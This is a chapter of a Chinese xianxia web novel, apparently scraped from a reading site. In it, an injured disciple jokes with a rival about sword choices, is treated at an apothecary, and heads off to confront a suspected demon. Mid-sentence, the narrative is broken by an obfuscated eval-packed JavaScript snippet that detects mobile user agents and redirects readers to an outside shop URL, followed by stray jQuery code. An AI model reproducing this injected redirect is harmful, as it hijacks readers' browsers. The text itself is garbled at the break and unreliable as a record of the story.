谢怀言刚一进来,目光就落在了宋容与手上的左臂上,眼眸暗了一下。宋容与这才后知后觉地感觉有些疼,不是,是好疼。
他朝着谢怀言龇牙咧嘴起来。
承云真君道:“多亏了怀言闯进你们浮玉真君的闭关洞穴拿到了手书,不然等我联系上上官若还要一些时候,要么就只能等五个时辰后良垣塔自动解禁了。”
凌云宗一向是弟子优先,院长和弟子们直接联系优先于一切人,就是其他院长在弟子面前也得往后排。
不过浮玉真君在闭关前特地和他们说过:一,非必要不要和他联系。二,只要一切有解决方法的事情都称之为非必要。
对于五个时辰自动解禁而言,这应当是非必要事件。
宋容与有些感动,谢怀言竟然会顶着被院长开除的风险闯入洞穴拿手书,若这就是友情的话,已经超越九成的人,荣升为最佳知己了!
但是谢怀言能不能不要一直盯着他的伤口看啊,越看他越疼是为什么。
疼得宋容与眼睛都有些发酸了。
谢怀言突然开口道:“承云真君,宋容与受伤了。”
承云真君道:“我看到了,刚要说呢,容与你过来。”
宋容与走过去,承云真君伸出手朝向他的伤口输送灵力,须臾,道:“我已经初步止住血了,接下来你们去万兽道院的药坊处理吧,处理完你们同我传音,来旻月室等我。”
刚要离开时,宋容与提醒谢怀言道:“它们围着你转好久了,你要不要选一把呢?”
从谢怀言进来,就有五把剑一直围着他转圈圈抛出橄榄枝,可惜谢怀言连看都没看他们一眼,经宋容与提醒才将目光放到它们身上,然后十分随意地拿了一把。
【谢怀言,无情道院,良垣塔第九,寻墨灵】
宋容与道:“你不认真挑一下吗?其实我觉得那把红色的更好一点。”
谢怀言道:“都一样。”
现在总归也不能换剑了,宋容与道了一声:“好吧”。
他心道:如果不是因为他这个特殊体质,围着他转的剑肯定更多,他也好想当着别人的面装得毫不在意拿别人企及不到的剑。
没想到谢怀言接下来的举动更令人震惊,他将那把墨黑色的剑放了回去,然后抓住了那把红色的剑。
【谢怀言,无情道院,良垣塔第九,聚缘喜】
宋容与:“?!”
他不可置信地问:“还能换剑吗?”
背后的承云真君笑眯眯地说:“原则上来说是不可能发生的,因为一般来说你有剑了其他剑也自然就看不上你了,怀言这情况我还是第一次见,不过怀言你要不把方才那把剑也一并带走吧,毕竟你方才选择了他,某种意义上来说他还算你的剑。”
宋容与看着那把被放回去的墨黑仙剑,悬停在空中,浑身上下写满了被抛弃后的悲伤,宋容与有些同情。
谢怀言却道:“不要,剑太多了。”
宋容与道:“剑多不压身嘛!”
何况是第九层的剑呢!
宋容与更恨自己的体质了,被仙剑争抢的日子他做梦都想要!
然后他感觉手里的仙剑重重抖了两下,宋容与立马抚摸上去在心里安抚它:我方才只是乱想的,我只有你这一把剑,也只会有你这一把剑,别的剑我都看不上的!
那把剑又抖了抖,接受了宋容与的话。
谢怀言最后还是没要那把墨黑色的剑。
路上,宋容与揣了半天自己得出的结论,不可置信地问了出来:“你方才换仙剑不会是因为我说的话吧。”
谢怀言道:“不是。”
哦,看来他自作多情了,谢怀言应当也是装过之后经过他的提点觉得红色的更好所以才换的剑。
诶,那不还是因为他的话吗?
于是宋容与道:“那你知道我为何觉得红色的更厉害些吗?”
谢怀言道:“为何?”
宋容与道:“因为它好看啊!我觉得好看的东西都会很厉害!比如我,燕哥你说是不是啊!”
燕洵回道:“你说得对。”
谢怀言:“……”
宋容与继续问:“那你能和我说说里为什么换红色的吗?”
谢怀言道:“因为丑。”
宋容与:“?”
谢怀言道:“我喜欢丑的。”
宋容与反驳道:“你睁大眼睛看看,哪丑了?!”
谢怀言道:“哪都丑。”
他腰间的剑悲伤地往下缩了一截。
宋容与道:“我觉得很好看啊。”
谢怀言道:“我觉得丑。”
“那你的审美当真是很糟糕。”宋容与评价,他想了想,有了一个坏点子,立马实施,“那谢怀言,你觉得我好看还是丑?”
谢怀言的手指几不可察地蜷了一下,道:“丑。”
宋容与立刻开始哈哈大笑起来:“那谢怀言你是不是喜欢我啊!哈哈哈哈哈!你放才说的你喜欢丑的!哈哈哈哈哈!”
“宋容与!”谢怀言怒斥一声。
“啪嗒”一声,谢怀言腰间的仙剑竟给自己缩得掉在了地上。
气氛十分诡异,空气沉了下来。
……
宋容与止住笑声,挑起一边的眉歪头弯腰去看低头捡剑的谢怀言的表情,他龇着牙,露出一个讨好的笑,嘴角不停地抽抽,他试探道:“谢怀……言?”
他看到谢怀言的耳朵被气红了。
他另一只手紧张地抓住了燕洵回的袖子,开始寻求安抚。
谢怀言将剑捡起来重新别回腰间,抬起头,脸上愠怒的表情立马把宋容与吓得一个激灵。
他从来都只见过面无表情的谢怀言,他和谢怀言吵得再凶打得再裂都是如此,何时见过这样,这简直称得上是失控了!
不至于吧……他只是开了一个小小的玩笑而已。
小小的……玩笑……而已……啊……哈哈?
宋容与声音小了很多,尽量愉快,带动谢怀言的情绪:“你生气啦,不至于吧,我刚刚只是开了一个玩笑而已,不是故意的,你别放心上啊哈哈。”
说完,他又觉得自己说话太轻浮了,立马改口道:“对不起,我错了,我以后绝对不开这种玩笑了,我道歉,我认罪,我勇于承认错误,实在不行你打我一顿吧,我绝对不还手。”
谢怀言不说话。
宋容与眉头一挑,觉得事态很危险,他立马捂住自己左手的伤口,“哎呦”道:“不行了燕哥,我手好疼啊,要疼死了,我们快点去药坊吧!”
虽然演技很烂,但燕洵回很懂他,立马表现得焦灼地拉着他离开了。
三十六计走为上计!
走了一段,宋容与悄悄往后看,发现谢怀言竟然也跟了上来。
原来还是打算要和他秋后算账吗?
一路上,谢怀言始终一言不发。
宋容与一边用眼角余光狂瞥谢怀言,一边在脑中疯狂向燕洵回传音求助:“燕哥我方才的玩笑是不是开的有些过分啊?”
燕洵回道:“不过分。”
宋容与道:“可谢怀言看起来好像很生气,我要不要等会再和他道个歉?”
燕洵回道:“我建议你还是别再提这件事了,就此翻篇这个解决方法更好。”
宋容与道:“真的吗?”
燕洵回道:“相信我。”
万兽道院今日好像有什么活动,宋容与路过好几人都零零散散听到了“快些去,晚些没位置了”这种话,他十分好奇,想去问问究竟发生了什么,可身边两人一左一右好像是押送犯人的士兵,限制了他的自由,他也只好乖乖地先去药坊。
等到他出来了再碰到,他是一定要上去问问看的!
药坊的医师看见宋容与的伤口后,立马严阵以待,询问道:“怎么弄伤的?”
宋容与道:“就是一不小心。”
医师道:“一不小心怎么可能弄成这样,我虽然年纪大了但也不好骗,你老老实实和我说,说了我才会开始给你治。”
宋容与只好道:“就是我们上良垣塔第九层拿剑,遇到了妖魔,和妖魔缠斗的时候他刺中了我,因为打不过,我就想着把他手里的剑抢过来让他没武器和我们打,然后我就狠心往前一扑,剑就穿过了我的手臂,不过我成功抢过剑了。”
医师摇摇头道:“你们现在的年轻人啊,太莽撞。”
宋容与道:“先生,你都不知道那时候情况有紧急,要不是我抢过剑,我和别人就要死在哪里了,现在只是伤了一条手臂而已,已经很好了。”
医师叹了一口气道:“你这伤的很深,至少要几个月才能痊愈,痊愈之后每每阴雨天便会疼,这是后遗症。”
宋容与道:“治不好吗?”
医师道:“治不好。”
宋容与乐观道:“不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977877|193533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还好凌云宗晴天最多,我们上京那里也不怎么下雨。”
医师道:“你把衣服脱了,胳膊露出来我给你上药,你们两个,去门外等着。”
上药其实没有那么疼,但是经过刚才那一遭宋容与有些心虚,所以叫得很大声,就是给外面听的,希望谢怀言听到后会心疼他,然后大方地把那件事给翻篇。
上完药包扎好,宋容与重新穿戴整齐出门,燕洵回立马迎上来关心地问:“容与,你还好吗,现在还疼吗?”
宋容与偷看了一眼谢怀言,道:“疼啊,疼死了,我们先回仙舍休息一会再去旻月室吧。”
其实上了药之后疼痛缓解了大半,只有些酥酥麻麻的刺痛了,除了手臂有些沉重外,可以完全忽略这其实是一条受伤的手臂。
不过宋容与还是想要在谢怀言面前装一装。
燕洵回道:“好。”
燕洵回这次也受了不少伤,宋容与出来后他便进去上药了,留宋容与和谢怀言两人单独站在外面。
宋容与犹豫了大半天,还是打算尝试和谢怀言搭话:“那个,方才我真不是故意的,你能不能原谅我?”
尽管燕洵回让他别再提,但宋容与心里始终过不去这个坎,他和谢怀言的关系方才缓和没多久,不能回到起点。
他焦急地等着谢怀言回答,没忍住又问了一句:“你能原谅我吗?”
谢怀言视线掠过宋容与受伤的手臂,道:“仅此一次。”
宋容与立马松了一口气,道:“好好好,以后我决不会这样了!我保证!”
谢怀言再度恢复了沉默。
他们从药坊出来没多久,就在万兽道院遇到了遛狗的齐修远,齐修远同他打招呼道:“容与,洵回,好久不见,你们怎么来万兽道院了?”
宋容与道:“受了些小伤,来药坊上药。”
齐修远看到宋容与手臂上的血迹了,道:“这么多血,这是小伤吗?”
宋容与道:“当真是小伤,对了修远哥,二百五最近还好吗?你们有抓到投毒的人吗?”
“二百五!”
二百五叫了一声证明自己好得不得了。
齐修远死死抓住二百五的身子不让他往前扑,道:“他好得很,投毒的人还没抓到,不过有人说收到了投毒人的挑衅,说他今晚会对华溪池下手,现在好多人都在周围蹲着,就等凶手落网呢。”
华溪池,万兽道院院中心,池水取之不尽用之不竭,是万兽道院的地标性建筑,池水入口甘甜,是小动物们的最爱。
对他下手,可谓是对万兽道院所有的动物下手,毕竟很多动物都只饮用那里的水。
宋容与不可思议道:“真的假的?”
齐修远道:“不清楚,我也只是听说,我对这个不感兴趣,我只想让我的二百五听话起来,让我能在下次考试取得甲等的成绩,全院排名再进一位。”
宋容与拍拍齐修远的肩,道:“相信自己,也相信它,这一天一定会到来的。”
齐修远欲哭无泪:“简直遥遥无期。”
宋容与和齐修远又说了几句后道别,他边走边回味齐修远的话,道:“谁这么无聊啊,投毒还要下挑衅,真不怕被抓……”
话说到一半,宋容与突然反应过来,抓着燕洵回的手道:“你还记得修远哥方才说什么吗?”
燕洵回一字不差地复述了一遍。
宋容与道:“很多人,很多人!很多人在那里蹲着!不行,我们得去华溪池看看。”
谢怀言挡在了宋容与身前道:“我们没那么多时间,回仙舍休息,休息完去旻月室。”
宋容与和他说事情的严重性:“极有可能是那个妖魔在搞鬼,他还要杀人!那妖魔专挑有修为的美人下手,今晚华溪池聚集了那么多人,正是他浑水摸鱼的大好机会!”
“那你去岂不是很危险。”谢怀言道:“你觉得有事就直接通知院长,你完全不必前往。”
宋容与拨开谢怀言,急切道:“不行,院长没有那么快到的,我们得先去看看,你们要是不想去的话我一个人去就好。”
燕洵回跟上宋容与道:“我去。”
“宋容与。”谢怀言冷冷地喊了一声。
宋容与停下脚步道:“谢怀言,我必须要去看看,你拦不住我,你要和我打架的话可以等我们回……”
“宋容与。”谢怀言打断他,说了句没头没尾的话:“怎么没疼死你。”